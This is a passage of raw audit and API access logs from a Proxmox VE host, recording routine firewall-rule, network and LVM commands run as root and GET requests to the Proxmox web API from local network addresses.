a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965382821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965382.821:65367): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62788 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964095992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964095.992:59553): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57191 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966105979,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966105.979:68452): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136110 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65734 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965351439,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964485795,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.795:61234): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966095956,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.956:68436): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964705352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.352:62227): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965382811,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965382.811:65365): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964095985,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964095.985:59552): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed590 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57190 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966105969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966105.969:68451): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60d7650 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65733 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965350331,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964485790,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.790:61233): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966095953,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.953:68435): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964705344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.344:62225): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965382811,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965382.811:65364): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964094900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964094.900:59551): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6900 a1=64f8d73e0690 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57189 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966105409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966105.409:68450): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65732 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965350331,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964485783,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.783:61232): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966095952,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.952:68434): argc=1 a0=\"date\""} {"@timestamp":1781964705344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.344:62224): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965377803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965377.803:65361): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956cb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964094871,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964094.871:59550): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b1160 a1=64f8d73db260 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57188 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966105402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966105.402:68447): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65731 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965350331,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964485776,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.776:61231): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966095948,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.948:68432): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964700336,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964700.336:62220): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59674 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965377803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965377.803:65360): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956cb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964092898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964092.898:59549): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966104836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966104.836:68444): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb3b0 a1=64f8d73d1470 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65730 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965348406,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964485770,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.770:61230): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966095941,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.941:68431): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964700336,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964700.336:62219): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59674 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965377793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965377.793:65358): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956bf0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964092892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964092.892:59546): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57184 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966104810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966104.810:68443): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be8d0 a1=64f8d73bbce0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965348406,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964485765,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.765:61228): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966095933,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.933:68430): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964700328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964700.328:62217): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59673 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965377793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965377.793:65357): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956bf0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964087883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964087.883:59543): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966100392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966100.392:68442): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65724 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965348406,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964485760,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.760:61227): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966095925,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.925:68429): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964700328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964700.328:62216): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59673 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375903,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.903:65353): arch=c000003e syscall=59 success=no exit=-2 a0=7ffea0dfc650 a1=59df63fe0410 a2=59df63fbe680 a3=5 items=1 ppid=62775 pid=62776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964087878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964087.878:59540): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966100383,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966100.383:68439): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965348406,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964485755,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.755:61226): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966095916,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.916:68428): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964695556,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.556:62209): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe815ba540 a1=611d771e2310 a2=611d771db680 a3=5 items=1 ppid=59661 pid=59662 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.807:65335): arch=c000003e syscall=59 success=no exit=-2 a0=7fff46effe60 a1=5e38d7f57200 a2=5e38d7f35680 a3=5 items=1 ppid=62756 pid=62757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.973:59537): arch=c000003e syscall=59 success=yes exit=0 a0=57274074de90 a1=57274074ac10 a2=57274072c680 a3=5 items=2 ppid=57175 pid=57181 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095956,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.956:68436): arch=c000003e syscall=59 success=yes exit=0 a0=56451ec15d30 a1=56451ec21f40 a2=56451ebef680 a3=5 items=2 ppid=65716 pid=65722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485750,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.750:61225): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965346693,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781966095909,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.909:68426): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964695468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.468:62191): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe69d1e7e0 a1=5ce08b6a0310 a2=5ce08b699680 a3=5 items=1 ppid=59642 pid=59643 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965372784,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965372.784:65325): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956b30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.969:59536): arch=c000003e syscall=59 success=yes exit=0 a0=572739056ac8 a1=7ffc30fcd530 a2=57274072c680 a3=57273903a24e items=2 ppid=57175 pid=57177 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095953,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.953:68435): arch=c000003e syscall=59 success=yes exit=0 a0=56451aa0dac8 a1=7ffdfbfafc00 a2=56451ebef680 a3=56451a9f124e items=2 ppid=65716 pid=65718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485745,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.745:61224): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965346693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781966095903,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.903:68425): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964695322,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.322:62183): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59636 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965372784,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965372.784:65324): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956b30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.968:59535): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc30fcd4f0 a1=572740733310 a2=57274072c680 a3=5 items=2 ppid=57175 pid=57176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095952,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.952:68434): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdfbfafbc0 a1=56451ec113d0 a2=56451ebef680 a3=5 items=2 ppid=65716 pid=65717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485740,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.740:61223): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965346693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781966095897,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.897:68424): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964695322,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.322:62182): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59636 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965372776,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965372.776:65322): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956a70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62745 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.964:59533): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57175 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.948:68432): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485734,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.734:61222): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965345278,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:24 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781966095891,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.891:68423): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964695314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.314:62180): arch=c000003e 